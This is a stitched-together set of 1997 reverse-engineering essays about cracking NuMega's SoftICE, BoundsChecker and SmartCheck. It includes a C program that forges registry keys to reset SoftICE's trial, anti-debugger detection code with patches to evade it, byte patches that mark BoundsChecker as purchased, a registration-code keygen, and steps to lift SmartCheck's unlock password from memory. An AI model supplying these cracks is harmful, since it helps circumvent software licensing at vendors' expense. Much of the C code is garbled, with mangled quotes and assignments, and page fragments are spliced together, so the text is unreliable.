(( day xor year ) xor month )) } xor magic2 xor (high key)
If you had difficulties understanding this I suggest you to get paper and
pencil (they are still very useful even in this hyper-technological era) and try
it out until you are convinced.
Now we know day, month and year because we decided them ourself. We know
the high key because we have calculated it before and we know magic2... we know
everything and we can calculate the checksum. For the lazy guys (real
crackers would do all the calculations by hand 8-) here comes a little C program
to calculate the correct high key and low key for the current system date.
/------------------------------------------------------------------------\
#include
#include
#include
#include
/*********************************************************************
char input[10];
printf("LowKey = " ) ;
gets( input ) ;
sscanf( input, "%lx", &lowkey ) ;
highkey = 0 ;
***********************************************************************/
struct tm *nt;
time_t long_time;
// encryption
lowkey = (( day & 0x0000000F ) << 20 ) | // low nibble in 6 (5*4) (( day &
0x000000F0 )>> 4 ) | // high nibble in 1
(( month & 0x0000000F ) << 12 ) | // low nibble in 4 (3*4)
(( year & 0x0000000F ) << 24 ) | ( year & 0x000000F0 ) | (( year & 0x00000F00 ) << 8
) ; lowkey="lowkey" ^ magic1 ; printf("LowKey="%lx\n"," lowkey ) ; check="(" (
0xFFFFFFFF month ) * day 1 ) * year ; check="check" ( ( year + day + 1 ) * month ) ;
check="check" ( ( day ^ year ^ month ) ) ; highkey="(" day check ) ^ magic2 ^ lowkey
; printf( "HighKey="%lx\n"," highkey ) ; getch() ; }
\------------------------------------------------------------------------/ As you can
see, there is a part of the code "the.class" tppabs="http://fravia.org/the.class" is
commented out. This part just asks you for the low key from your Registry and tells
you when Sice was installed and which is the correct high key (this should match with
the one you find in the Registry ot in WINICE.DAT). It's purpose is just to show how
the decryption algorithm works. The non-commented part is the most interesting one
8-). It takes the current system date and gives you the correct low key and high key
to make Sice elieve it has been installed today. Just take this numbers and write
them over the old ones in the Registry and in WINICE.DAT. You will get your 14 days
of trial back! It's intended that you will use this trick because your copy expires
just on Sunday, when you need it, but the software shops are closed; you will buy it
on Monday, won't you? That's it! I wish to thank +ORC for his great tutorials (and
also his essay on the slaves... I loved it!), Fravia+ for his great WEB site and all
the +crackers that contributed and will keep contributing to it. Good
reverse-engineering to everybody! My "motto" is: Use your brain not your fingers.
ViceVersa+
August, 6th 1997
(c) ViceVersa, 1997. All rights reserved.
You are deep inside fravia's page of reverse engineering, choose your way out:
Well, I think that many will thank Heres for this simple synthesis, or integration, of everything we have learnt so far
about the installation of Winice trial version
- HOW TO INSTALL -
[You should use Courier New 10 in order to view and print correctly this essay]
MyPc\HkeyLocalMachine\SOFTWARE\Microsoft\Windows\Help
2. Installation
See the default WINICE.DAT, but don't touch the necessay setting:
3. Crack session
- EXP=c:\windows\system\kernel32.dll
- EXP=c:\windows\system\user32.dll
- EXP=c:\windows\system\gdi32.dll
Note:
Master +ORC
Frog's Print
+Rcg
The Undertaker
ED!SON
You are deep inside fravia's page of reverse engineering, choose your way out:
project 2
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia
melted MeltICE
(SoftIce 3.xx detection and another lesson for shareware programmers)
by Frog's Print
Well, Frog's Print finding are indeed interesting. I'm pretty sure that we are going to assist, in the next future, to an explosion
of many little anti-softice (and anti-wdasm) tricks. I may open an extra section of my site to this if necessary... btw, to-day
ReZiDeNt signalled an "anti-BRW" trick inside Ultraedit...
Note that since the programmers keep programming in "high" languages, all this can (at most) defeat the stupid lamers... the
good-guy=1 and beggar off=0 flags are always the same... poor programmers... how long should we repeat it to you? YOU
HAVE TO PROGRAM PROTECTIONS IN ASSEMBLER ON YOUR OWN, you do not have to:
MeltICE
(SoftIce 3.xx detection)
by Frog's Print
How it works:
The program will open the VxD driver named SICE (Windows 95) or NTICE (for Windows
NT)
with CreateFile. It will then check the file's Handle (in EAX) in order to see if
SoftIce Win95 or WinNT is loaded or not.
Below are the source code of MeltICE and a disassembly listing that I did with
W32dasm
of an .exe file compiled with this code:
#include <stdio.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
BOOL IsSoftIceNTLoaded()
{
HANDLE hFile;
int main(void)
{
if( IsSoftIce95Loaded() )
printf("SoftICE for Windows 95 is active!\n");
return 0;
}
And now, the Dead Listing of an .exe file using that code:
********************************End of detection********************************
* Possible StringData Ref from Data Obj ->"\\.\SICE" ; VxD driver for S-Ice Win95
:00401012 6830604000 push 00406030
* Possible StringData Ref from Data Obj ->"\\.\NTICE"; VxD driver for S-Ice WinNT
:00401052 683C604000 push 0040603C
OK, we see that this new simple and 'ready-to-use' protection will probably please
a huge amount of unexperimented shareware programmers. Since it is available at
Windows95.com, I assume we may have to face it very soon.
But is S-T-U-P-I-D because we now will be able to check if any program is detecting
Soft-Ice even before it will have the time to do so: just with a BPX CreateFile(A).
Anyway, this will make shareware crackers a little bit easier about the safety of
the software they want to reverse engineer too.
Just replace the string "SICE" with "KICE" (or whatever you want) in the files
"Winice.exe" and "nmtrans.dll"
(Please do not use "KICE" ,just use a unique string... cause those MeltedICE
people may update it by checking for "KICE" too :)
You can check the VxD names with many tools.. (Infospy for example)
This goes for win95 version and i guess would work for NT too..
(although for NT you have to recalculate the checksums as in +HCU Project 2)
Later
Kox
project 2
homepage
links
anonymity
+ORC
students' essays
academy database
tools
cocktails
antismut CGI-scripts
search_forms
mail_fravia
intro
the problems
the entrance values of the INT3 interface even if they were changed
(see HMVS - a heuristic macro virus scanner - by J. Valky and
L. Vrtik that uses SECURE v0.19). the Windows versions can also be
detected by the following code (thanks to Dark Stalker and ACP :-):
mov ebp,"BCHK"
mov ax,4
int 3
cmp ax,4
jne winice_installed
DOS: :-(
W31: :-( (but the SECURE method is :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
mov ax,01684h
mov bx,0202h ; VXD ID for Winice, check out Ralf Brown's INTLIST
xor di,di
mov es,di
int 2fh
mov ax,es
add di,ax
cmp di,0
jne winice_is_installed
DOS: :-(
W31: :-) but the VXD entry point check is :-(
W95: not tested yet (probably same as W31)
DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
4. by using the TRAP flag, one can use the single stepping feature to
call a protection routine (e.g. a decryptor). the problem is, that
during single stepping SOFT-ICE clears the TRAP flag for the V86 task
and will neither execute nor step into the INT01 handler of the
V86 task. many schemes use this trick.
DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
6. by the use of INT08, which is the timer interrupt in real mode DOS,
and the Double Fault Exception in protected mode. the protected mode
handler checks whether it was entered from V86 mode or not, and in
the first case it reflects back this interrupt to the V86 mode
handler. however, one can't single step into it.
DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
DOS: :-(
W31: :-)
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
A. by reloading IDTR one can change the base and size of the interrupt
table in real mode as well. however, SOFT-ICE will not emulate this
instruction (it causes a General Protection Fault in V86 mode) thus
a protection using LIDT won't run. the only problem is that memory
managers don't like it very much, so probably we won't see it in a
real life protection scheme, but one never knows :-).
DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
DOS: :-(
W31: :-(
W95: not tested yet (probably same as W31)
WNT: not tested yet (probably same as W31)
C. in plain DOS INT3 and INT1 are handled by the same routine (which is
a simple IRET). however, SOFT-ICE changes the INT3 handler of the
V86 task to another IRET which can be detected by comparing its
offset to the one of the INT1 handler. see HWINFO.EXE for
an application
DOS: :-(
W31: :-)
the solutions
in the following part you'll be presented with some ideas about the
solution for the problems described above (the file offsets refer to the
DOS version v2.80, but the ideas should work for other versions, as well.
the easiest way to apply the patches is using Hacker's View which can
be found in HIEW531.ZIP).
one general problem is that SOFT-ICE (at least the DOS version) doesn't
reprogram the hardware interrupt vectors, and this makes life (and the
interrupt handlers) a bit more complex. the IDT that SOFT-ICE uses has
entries that point to the following type of code:
push xx
jmp handler_xx
where xx goes from 0x00 to 0xFF. in v2.80 this code begins at offset
0x4534. the Win31 version has a very similar code beginning at offset
0x14167 in v1.52:
push d,[offset_xx]
jmp handler_xx
if you want to understand the patches that follow right below, you
should study the interrupt handlers (and you should also have a good
understanding of protected mode). however, some problems cannot be solved
without understanding the internal flags of SOFT-ICE, and this requires a
complete disassembly of it, which is a quite hard task i can tell.
anyway, sooner or later it will be done, and then we'll have the
ultimate debugging/cracking tool in our hands 'cos we'll be able to put in
some missing functions, e.g. emulation of FlatRealMode, tracing INT1, PIC
reprogramming, prefetch queue emulation, dumping a memory range to disk,
etc. until then, enjoy the poor man's patches...
1. some exe protections mentioned earlier are based upon the INT3
interface of SOFT-ICE (see Ralf Brown's Interrupt List for details).
this interface is activated when the protected mode INT3 handler of
SOFT-ICE encounters the magic values in SI and DI. that is, when you
try to trace through an INT3 call, SOFT-ICE will regain control,
check for the magic values, and in case they are not found, it will
reflect back this interrupt to the V86 mode INT3 handler (which it
was supposed to do anyway). if it finds the magic values, then
it'll execute the command given in AX (and DS:DX). all of these
checks happen invisibly to the hacker, so there seems to be no
solution to defeat this kind of protection (well, there's a slow way
if you step through every instruction and before the "guilty" INT3
call you change one or two registers).
the scripts
SICE-VAL.MS: you should specify the old and new magic values in it
(note that numbers are decimal!)
SICE2NEW.MS: it will replace the old magic values with the new ones.
there are almost 2^32 possible values, only that value
is forbidden for SI that equals to the version of
SOFT-ICE (for v2.80 it is \128\2, i.e. 0x0280). before
SOFT-ICE installs itself, it checks for its presence by
using an undocumented function of its INT3 interface by
setting AH to 0 or 1. on return SI will be loaded with
the version number or left unmodified if it's not
installed yet, that's why the version number must differ
from the preloaded value of SI.
example usage
the protection that SECURE uses is quite clever 'cos it checks the
mov si,SI_MAGIC
mov di,DI_MAGIC
the only limit is that you have 6 bytes of space to load both SI and
DI (i checked that whenever SOFT-ICE uses the INT3 interface it loads
SI and DI by two consecutive instructions, i.e. you can use the MSUB
scripts to search for and replace them). another method could be to
change the HBOOT command to something else (by MSUB of course),
however other dangerous commands could be still issued...
000243F0: 'K' ?
000243F1: 'H' ?
000243F2: 'C' ?
000243F3: 'B' ?
2. the device names can be changed to anything you want, look at the
beginning of S-ICE.EXE. the real problem is when the protection
checks for instruction sequences. my only advice is that step through
the protection and see which part of the code is checked for, then
try to modify it in S-ICE.EXE (or disassemble, modify and then
recompile the whole executable, but that's not gonna happen for
a long time, i guess... :-).
to defeat the int41 check, you have to change both the return value
of the real and protected mode handlers in WINICE and the value that
is checked for in KRNL386.EXE, VMM32.VXD, EMM386.EXE, IFSHLP.SYS and
NET.EXE. all these changes are necessary otherwise some WINICE
commands (HWND, TASK) won't work 'cos apparently they rely on some
Window$ functions which are available only in the debug kernel (and
during startup these programs/drivers do this int41 check which will
fail if you don't change the values they're expecting, as well).
and now let's talk about the VXD entry point check. the ID is stored
at file offset 0x7821E in WINICE for Win95 v3.01 (to find it in
other versions as well just look for "SICE ", and the ID will be
a few bytes before this text).
anyway, for the versions that come with WINICE for Win95 v3.0,
the file offsets of the ID are 0x625/6 and 0x68B9/A respectively.
5. there are two possible solutions: we either disable the DRx emulation
feature of SOFT-ICE (this is quite easy to do) or correct it (this is
really hard to do). SOFT-ICE emulates each instruction by executing
a function whose offset is looked up in a table. each function ends
in the same way: IP of the V86 task is incremented by the appropriate
amount of bytes. so to disable emulation we'll change the pointers
in that table to the common end of the functions, this way these
instructions will essentially be handled as NOPs. i don't know
whether it's worth to do it or not, since this modification can be
detected by simply loading one of the debug registers and then
checking whether it's really been modified or not. a more elegant
solution would be to reserve a few bytes in the data segment of
SOFT-ICE for storing the values of these registers and emulate the
instructions (or at least their loading). anyone out there willing
to do that?
the offset of the common exit point (i.e. the new value you may want
to set these pointers to) is 0x175A (this is NOT a file offset...).
these patches still don't cure the problem with CR4. if you decided
to get rid of the emulation entirely (including CR4) then you can
do it much easier:
8. what we have to do is to skip the call that prints the error message
and simply reflect this interrupt back to the V86 mode handler.
note that your buggy programs won't cause SOFT-ICE to pop up after
this patch :-) (however, you'll be able to break in and see what
went wrong).
9. now we'll make use of the extra space we made in the original INT01
handler. we have to check whether the interrupt was triggered by a
hardware IRQ or not. this can be done by the following routine:
popf ; were push eax, mov ax,8, thus we won't pop eax
jmp offset 1A77h ; this has to be the original handler's offset
; plus 5 bytes (the length of push eax, mov ax,8)
00001DD5: 50 EB
00001DD6: 51 60
00001DD7: B9 66
00001DD8: 03 50
00001DD9: 00 9C
00001DDA: B0 B0
00001DDB: 03 0B
00001DDC: E6 E6
00001DDD: 61 20
00001DDE: 51 E6
00001DDF: 33 A0
00001DE0: C9 E4
00001DE1: E2 20
00001DE2: FE 8A
00001DE3: E2 E0
00001DE4: FE E4
00001DE5: E2 A0
00001DE6: FE A9
00001DE7: E2 FF
00001DE8: FE FF
00001DE9: E2 B8
00001DEA: FE 08
00001DEB: E2 00
00001DEC: FE 75
00001DED: E2 06
00001DEE: FE 9D
00001DEF: E2 66
00001DF0: FE 58
00001DF1: E2 E9
00001DF2: FE 7C
00001DF3: E2 FD
00001DF4: FE 9D
00001DF5: E2 E9
00001DF6: FE 7F
00001DF7: E2 FC
while you're in WINICE for Win95 v3.0 or 3.01 type in the following
command: "ver ice" and see what you get... however, note that due
to a bug (or feature?) you can use only once this command during
a session, you have to restart WINICE to be able to get the
message again.
and while we're at undocumented features, try out "ver ?" as well.
in the next release, i'll try to write a detailed description
of the new commands (not that if it were that hard to find out...)
1. even the Nu-Mega docs tell about a problem when SOFT-ICE for DOS is
loaded from the command line: if HIMEM.SYS is installed the machine
simply reboots. i tracked down the problem and found out that the
processor resets itself because of a triple fault. it happens so:
after preparing the IDT and GDT (and loading IDTR and GDTR), paging
will be enabled in CR0, and then DS and ES will be loaded a
descriptor offset of 8. however, both this descriptor and the IDT
seem to be invalid, and this leads to a triple fault. unfortunately,
i couldn't find out what goes wrong during the setup of IDT and GDT,
perhaps someone else out there will do the dirty job :-)... and maybe
Nu-Mega will award you with a free, legal version :-)).
http://www.fys.ruu.nl/~faber/Windows_No_GUI
WIN.COM :
or (as the above method doesn't work with our GUIless version since
WINICE doesn't seem to pass any parameters or you are too lazy to
type in every time 2 more characters :-) look for the string 'LOGO'
in WIN.COM and change it to something else (it's enough to change
only one bit). note, that the WIN.COM of Window$ for Workgroups
doesn't like this patch...
SICE-VAL.MS
cut from here ------
# OLD_SI: 'FG'
# OLD_DI: 'JM'
# OLD_SI
!:p=\71\70
# OLD_DI
!:q=\77\74
# NEW_SI
!:x=\71\68
# NEW_DI
!:y=\77\74
-------------- until here
SICE2NEW.MS
cut from here ------
!binary
!include sice-val.ms
You are deep inside fravia's page of reverse engineering, choose your way out:
project 2
homepage links anonymity +ORC students' essays
tools antismut cocktails search_forms mail_fravia
Is reverse engineering illegal?
Well... even Boundschecker uses a pretty simple "Cuckoo's egg" protection scheme... actually pretty deceiving, thinking how
good in assembly coding the Numega boys should be...
Thanks Harwi! Discovering this you show us the way... and I notice a very interesting "zen" touch in your reverse engineering
approach, btw :-)
Reverse engineering
the Protection scheme of BoundsChecker 5
I would say that the "second" hottest debugger in the windows/dos world
is probably BoundsChecker (BC) from NuMega. I would also say that it
directly follows -in importance- after our beloved SoftIce, from that
same holy company.
From the moment I first saw BC version 4 on the Visual C/C++ version 4 CD
(VC4), about a year ago, I loved it.
For the people who don't know about it: BoundsChecker is a debugger for
application developers, i.e. people writing programs using the 'normal'
application programming interface (API) for Win95 or NT or whatever,
depending on what for a platform they are targeting. I would draw a line
between these programmers and those writing drivers (like VXD's in windows)
and stuff like that, where there is more low-level (assembler) programming
involved.
There are versions of BC for Win95, NT and Dos, I think, maybe more.
Conventional Debuggers, like theone you get with most compilers are nice
tools indeed, they let you step through the code, change variables put
breakpoints here and there and a lot more.
The annoying thing about them is that you have to have some sort of idea
or intuition) where your error is located, so that you can breakpoint
there and understand whats going wrong.
BC on the other hand does this work automatically, because it hooks each
and every API call, pointer read and pointer write and so on. So you
don't put any breakpoints anymore, you just run your program inside
BC and BC will break whenever your program executes any error, and
display the source code, together with relevant explanations.
The responsable for theis brilliant tool is -as far as I know- Matt
Pietrek, who was (or still is?) project leader for BC at NuMega (if
you are reverse engineering anything at all you MUST have read his
books :-)
I must state here that I believe BoundsChecker absolutely worth its
price, and should I ever use it for commercial purposes, I will
purchase a copy!
Sadly enough the first demo I had, on the VC4-CD, was limited to
debugging an application called Bugbench, that made the ugliest
programming errors -that kind of errors that everyone who has
ever done application development loves to find in her/his source
code.
Too bad that I didn't know how to crack it at that time... I could
not, because I hadn't yet learned enough about cracking.
When I came across Fravia's Page, about a month ago, I read +ORC's
tutorial and a lot of the students' essays, and after reading, I
tried to crack BoundsChecker and guess what: I got it.
That was a great success for me :-)
Being all excited about this new "time limited" version, I installed it
at once, without saving important system stuff, like the registry, and
the various windows directory files...
A mistake and a pity, because later I had to fetch another computer
and re-install the same software again, in order to see which registry
entries had been made and HAD NOT been removed by the uninstaller, a
fact evident, since the time limit expiration did hold after
uninstalling.
By simply uninstalling BC you will not reset your trial period anew.
I found that you can play around with the system date, though, and
in this way you'll be able to use BC as long as you want.
But thats not what I like, and of course for such kidding you have
to remember the original install date, in order to be able to set
the system date within the allowed 14 days, which is also neither
really "elegant" nor nice.
I had to crack this target, I felt it :-)
some other DLL (BTW in the disassembly one can see a lot more
imports then the Quick view is displaying).
Now I disassemble TLOCK32 and here I find the answer why I didnt
catch the GetSystemTime calls, Simple! GetSystemTime is not called
- they call GetLocalTime. Something to remember.
Start BC again, load Bugbench and press Run and and and...
NOTHING! No dialog no starting Bugbench, nothing!
Why that? Maybe a there is a checksum? I look again at the
TLOCK32.ASM file.
Then I change:
:100029EC 83F802 cmp eax, 00000002 // Whithin trial
crk :100029EC 83F801 cmp eax, 00000001
Start BC, load Bugbench and press Run, here we go, the dialog
pops up and after OK Bugbench starts.
I play around with some dates and it works fine.
Here is the section where the flag is compared completely.
:100029E2 A198FA0010 mov eax, [1000FA98] // This seams to be a sort of flag
:100029E7 83F801 cmp eax, 00000001 // new trial
:100029EA 7417 je 10002A03
crk :100029EA 7517 jne 10002A03 // checksum is 1+
:100029EC 83F802 cmp eax, 00000002 // Whithin trial
crk :100029EC 83F801 cmp eax, 00000001
:100029EF 0F848F000000 je 10002A84 //also for checksum -1
:100029F5 83F804 cmp eax, 00000004 // trial is over
:100029F8 0F8466010000 je 10002B64
:100029FE E981010000 jmp 10002B84
I think this approach has its own beauty because it displays the
protection dialog and thereby lets you remember the great victory
of the past. But when you start your compiler, the dialog is also
displayed and since we know now where BC stores its state, lets see
if we cannot get ride of that dialog completely.
The questions that come to mind are (at least to me):
What about the flag being equal 3? What does the flag value 3
tell BC about its state?
Some playing with the flag (and SoftIce) soon gives the friendly
answer:
YES! 3 means, BC has been purchased. Some more playing with memory
read/write breakpoints gives the location where it is easy to
change a byte and a second to make the checksum happy. Here is
what I changed so that there is no dialog popping up anymore
(still inside TLOCK32.DLL):
:100011F9 DFE0 fbld tbyte ptr eax
:100011FB F6C401 test ah, 01
Of course there are a lot more ways to crack this, mine is just one
of them. I must also say that I have been extremely lucky to find
the code (with the flag-compare) inside the dialogs callback fairly
soon. If I hadnt, I might not have gone back to the callback.
You are deep inside fravia's page of reverse engineering, choose your way out:
by Shadow
(21 October 1997)
Well, a good work by Shadow. BoundsChecker is a VERY IMPORTANT tool, because, as Quine wrote to me a couple of days
ago:
...NuMega is the greatest software company in the world). BC will actually let create validation modules for dlls other than the
M$ system dlls and let you INSERT YOUR OWN CODE right into them! I have experiment with this a little, but, of course,
the possibilities are incredible...
Therefore this very interesting add-on to project 2 by Shadow is a welcomed essay, that you should heed from a
methodological point as well...
I can only say, like Shadow, that I too "expected more from NuMega"!
Enjoy!
If you don't have BC 5.0 already get bc502sp_v.exe directly from NuMegas,
hurry up I think they'll take it off the site very soon.
The File should be 8785166 Byte long. Install it, it will ask for a SN,
just ignore it.
Also write down the shown SerialNumber (it's a random Number choosen at the
Installation) I have 6202435827700841
DB ESI*4+EBP-48 (or just DB EBP-48) will show you that they are stored
from 0157:066E2C4 to 0157:066E303
014F:014F2904 JB 014F28C6
PUSH DWORD PTR [EBP-34] ;P1 (in C the last parameter)
PUSH DWORD PTR [EBP-08] ;P2
PUSH DWORD PTR [EBP-5C] ;P3
PUSH DWORD PTR [EBP-28] ;P4
PUSH DWORD PTR [EBP-44] ;P5 (in C the first parameter)
CALL 014F257B
ADD ESP,14
MOV [EBP-009C],EAX
A DB [EBP-34] will show you, that the PUSHES push digits from our SN and then
a function is called. Very Smelly !!!!!!!!!!!
04,15,P0,07,00
05,14,P1,06,01
06,13,P2,05,02
07,12,P3,04,03
08,11,P4,03,04
09,10,P5,02,05
10,09,P0,01,06
11,08,P1,00,07
11,15,P2,15,08
12,14,P3,14,09
13,13,P4,13,10
14,12,P5,12,11
15,11,P0,11,12
04,10,P1,10,13
05,09,P2,09,14
06,08,P3,08,15
Yes, the numbers stored from 0157:66E26C to 0157:66E2AB are already the Numbers for
the Key-Code !!!
My Key is: 6853562630694845
LEA EAX,[EBP-04]
PUSH EAX
CALL 14F4E80
ADD ESP,08
LEA ECX,[EBP-04]
PUSH DWORD PTR [ESI]
PUSH 015014B4
PUSH ECX
ADD ESI,04
CALL 14F4E10
ADD ESP,0C
LEA ECX,[EBP-04]
LEA EDX,[EBP-B0]
PUSH ECX
PUSH EDX
CALL [0150628C]
LEA ECX,[EBP-5C]
CMP ESI,ECX
JB 14F2AC1
014F:014F2B00 LEA EAX,[EBP-B0]
What do you think is this loop doing. What would you do, if you would want to
compare an Input-String with Numbers ?
Yes, convert one of them.
You will get back into SoftIce directly at the Compare-Routine (due to your
Range-BP on the Input-Key)
int calc(int n1, int n2, int n3, int n4, int n5)
{
int n;
n=n4+n5;
if (n>9) n-=10;
n-=n3;
if (n<0) n+="10;" n+="n2;" if (n>9) n-=10;
n-=n1;
if (n<0) n+="10;" return n; } void main (void) { char sn[255]; int
ver[6]="{5,0,1,5,9,7};" int ser[16]; char reg[17]; printf("NuMega BoundsChecker V5.02
for Visual C++ Keymaker\nby Shadow in 1997\n\n"); printf("Input Serial-Number: ");
scanf("%s",sn); int sn_ok="1;" for (int i="0;" i<16; i++) { if (!isdigit(sn[i]))
sn_ok="0;" else ser[i]="sn[i]-'0';" } if (sn[16]!="0)" sn_ok="0;" if (sn_ok) { int
n="0;" reg[n++]="calc(ser[" 4],ser[15],ver[0],ser[ 7],ser[ 0])+'0';
reg[n++]="calc(ser[" 5],ser[14],ver[1],ser[ 6],ser[ 1])+'0'; reg[n++]="calc(ser["
6],ser[13],ver[2],ser[ 5],ser[ 2])+'0'; reg[n++]="calc(ser[" 7],ser[12],ver[3],ser[
4],ser[ 3])+'0'; reg[n++]="calc(ser[" 8],ser[11],ver[4],ser[ 3],ser[ 4])+'0';
reg[n++]="calc(ser[" 9],ser[10],ver[5],ser[ 2],ser[ 5])+'0';
reg[n++]="calc(ser[10],ser[" 9],ver[0],ser[ 1],ser[ 6])+'0';
reg[n++]="calc(ser[11],ser[" 8],ver[1],ser[ 0],ser[ 7])+'0';
reg[n++]="calc(ser[11],ser[15],ver[2],ser[15],ser[" 8])+'0';
reg[n++]="calc(ser[12],ser[14],ver[3],ser[14],ser[" 9])+'0';
reg[n++]="calc(ser[13],ser[13],ver[4],ser[13],ser[10])+'0';"
reg[n++]="calc(ser[14],ser[12],ver[5],ser[12],ser[11])+'0';"
reg[n++]="calc(ser[15],ser[11],ver[0],ser[11],ser[12])+'0';" reg[n++]="calc(ser["
4],ser[10],ver[1],ser[10],ser[13])+'0'; reg[n++]="calc(ser[" 5],ser[ 9],ver[2],ser[
9],ser[14])+'0'; reg[n++]="calc(ser[" 6],ser[ 8],ver[3],ser[ 8],ser[15])+'0';
reg[n]="0;" printf("\nRegistration Code: %s\n",reg); } else { printf("\nNot a valid
Serial-Number (must be 16 digits)\n"); } }
That's all.
Shadow 1997
You are deep inside fravia's page of reverse engineering, choose your way out:
proj 2
Smartcheck is an interesting tool indeed... yet you must be careful and set it up corrrectly:
program/settings: Default: detect and report everything
program/settings/advanced: check everything, don't suppress anything
and don't forget to "check program compliance" before delving in... as soon as you use it you'll easily
understand that this program is a very important addition to our tools arsenal.
In fact the real funny question is: "Why does Numega use such stupid protections?". Mind you, we are not
speaking of a small shareware programmer that is using some overbloated language for some overbloated
useless application: we are speaking of the BEST programmers and wizards of assembly in the whole
planet here!
The fact that Numega (which, differently from Micro$oft lamers' park, HAS INDEED A LOT of said good
programmers and wizards) publishes powerful disassembly and reversing tools (Bondcheck, Smartcheck,
Softice...) in downlodable "trial" version with pretty silly protections (as if the kind of people that REALLY
USE such tools were not capable of earing a password echo in memory) can IMO only mean two things:
A) EITHER Numega follows the Micro$oft path of giving away everything for free, in the hope that they
will dominate the disassembler "commercial" markt and get the rewards from "scale" economy.
This may happen: it is clear that the crackers and "simple" programmers of to-day, i.e. a great part of the
people that peruse the many available sites like mine, ARE the reverse engineers of to-morrow (who else?),
and will be able to afford *any* "commercial" fare that Numega will in the future decide for, say,
Smartcheck version 13.0.
B) OR that Numega will bring to light a very tough protections (the mytical "unbreakable" software
protection :-) as soon as their absolute dominance of the market has been asserted. Let's hope they do it
soon: the "protections" (if you really want to call them so) that they are using at the moment are simply too
boring to bother
And here is the short essay by Snatch, sorry for the long introduction
You should see the password, &Smc50-14d% there in front of your eyes.
Type bd * to disable your breakpoints, ctl-d to run and get an error,
and then run the setup again and type the right password to bypass
that silly message.
Now we are one-fourth of the way done! It was that easy!
After going through a few screens, you will see your name, company plus
a serial number! I tried to crack the serial number but gave up.
Don't worry, we can still crack this later on, and much easier and
quicker. So simply install it. And run it :-)
Now load a program (must be 32-bit which is why this program won't
help me too much with vb programs). Now try program and start.
Uh-Oh! Name of thr trial user, blue "trial meter" and registration
number.
Phew!, there is a purchase button. Let's click it. Here it is,
unlock code and all. Nice, lets go back to the debugger.
ADD ESP,04
LEA EAX,[EBP-14] >> Your password
LEA ECX,[EBP-28] >> The correct password
PUSH EAX >> Your password
PUSH ECX >> The correct password
CALL 10005680
Here you have it! Type a d ecx l 64, and the first 16 bytes are
the right code.
Numega is using a hashing of your name and password and reg number
to get the code so for everyone the code will be different.
Now back to reality, write down those 16 numbers and disable
your breakpoints,
bd *,
now ctl-d.
Keep your name and company the same, enter the password in and you
are a *registered* user of numega smartcheck 5.0, with your own user
name and password!
Snatch '97
You are deep inside fravia's page of reverse engineering, choose your way out:
(7 November 1997)
Courtesy of fravia's page of reverse engineering (of course :-)
Q.: Mr fravia+, what did you experienced the first time you took
this Smartcheck tool for a ride?
A.: A great feeling of power, supreme 'might' and a sort of
real quiet, and a calm and peace of mind I cannot describe.
Everything around me seemed so 'correct', so 'how it should always
have been'... I don't know if you can understand me... look, just
try it yourself: I do believe that Smartcheck represents the right
way to "feel" the code of our targets, at least in part, in that
mystical 'zen' way that +ORC describes so well in his tut. I'm so
happy about this toy that I have even added, extra for this essay,
some nice 'Numega-similar' graphic bars, hope somebody will
appreciate them.
Dear readers, I'm quite moved by this tool, you'll excuse me, I'm
even seriously thinking to buy it (once my ALLOWED trial time will
have expired, of course). Let's keep it short: you want to learn
how to reverse engineer windows targets? Use Smartcheck on your
own... you'll be amazed about what's going on under the hood (and
under the hooey).
Forget Visual Basic, forget error checking, you'll use this tool
in order to see GRAPHICALLY and with an incredible depth the flow
of ALIEN code, i.e. what your target is doing, wherever the
programmer has hidden his routines, whatever he has called them!
As long as you can interact with the target you'll get the full
picture of your target's inner working.
Sounds too good to be true? Wait and see. In the mean time
download IMMEDIATELY the free trial version of this tool from
Numega's site (see the essay by Snatch for more details on it).
Here are the steps for MAXIMUM detail (even too many details, as
you will see, yet I want to give you the full picture immediately :-)
Load target (option File open)
View: all events (specific events is also very good, as you'll discover),
arguments,
sequence numbers.
That's it, NOW, once you have made these settings, (you
will learn how to fine tune them later) run the target
inside Smartcheck, sit comfortable on your chair, set
some nice music on (what about Vivaldi?), drink your
favourite cocktail and watch the movie.
run anonmail.exe
There are two options for working with SmartCheck's own dead
listing, which can be quite handy to print out and peruse at
leisure... actually, you will just 'Smartcheck' a target and
then have a look at the program event pane of the program
result window and then print the relevant parts, and then
sit down in a nice chair and crack everything with your
MIND, sipping your favourite cocktail :-)
Also, you may either save everything as *.sce file or you may
choose preview print, look at the page numbers (above, right)
that interests you and print only those pages.
ANONMAIL.EXE!12036 (StringKey=RegNum)
GetSettings String appname "AnonMail" (406750, look in the right 'pane')
String section "Registration" (406FB4)
String key "RegNum" (406FD4)
default variant
String .bstrVal "0" (406FE8)
ANONMAIL.EXE!1206C (StringKey=Name)
GetSettings String appname "AnonMail" (406750)
String section "Registration" (406FB4)
String key "Name" (406FF0)
default variant
String .bstrVal "Loser" (407000)
Now at ANONMAIL.EXE!122ED
(event 55 of the list) long gives an error code (no more
characters: string "Loser" is finished)
So, that was it. We wouldn't even need to type our own strings
inside the "register-me" window (nor to use softice) to crack
this target. It is clear, we 'feel' it... look: we FEEL it!
that the protection scheme of this crap dwells somewhere
between 122ED and 12321. You just need to load a dead listing
from somewhere and have a sort look. Between these locations
there is only ONE compare (actually a test ah,40h) and that's
what you have to fumble with.
Once more: between 12302 and 12321! Even less bytes! Only 19 bytes
to peruse! Ah!
Well, if you want more: have more and see how it looks like 'translated':
Smartcheck's
ANONMAIL.EXE!12036 (StringKey=RegNum)
GetSettings String appname "AnonMail" (406750, look in the right window)
String section "Registration" (406FB4)
String key "RegNum" (406FD4)
default variant
String .bstrVal "0" (406FE8)
And, among many other interesting things, we now know that this
ebx, called here at 12039 is a GetSetting function.
